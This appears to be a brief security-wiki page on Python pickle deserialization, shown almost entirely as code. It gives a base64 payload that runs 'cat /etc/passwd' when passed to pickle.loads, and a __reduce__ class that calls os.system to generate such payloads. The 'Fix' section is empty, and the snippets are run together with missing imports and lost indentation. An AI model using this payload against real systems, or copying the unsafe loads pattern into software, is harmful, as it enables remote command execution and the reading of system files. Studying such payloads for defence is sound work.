Pickle
Exploitation
import pickle
# Input can be base64 encoded of a file with it's content
user_input = "Y3Bvc2l4CnN5c3RlbQpwMAooUydjYXQgL2V0Yy9wYXNzd2QnCnAxCnRwMgpScDMKLg=="
pickle.loads(base64.b64decode(user_input))import pickle
shellcode = 'cat /etc/passwd'
class Exploit(object):
def __reduce__(self):
return (os.system, (shellcode, ))
exploit = pickle.dumps(Exploit())
print(base64.b64encode(exploit).decode())
Fix
Last updated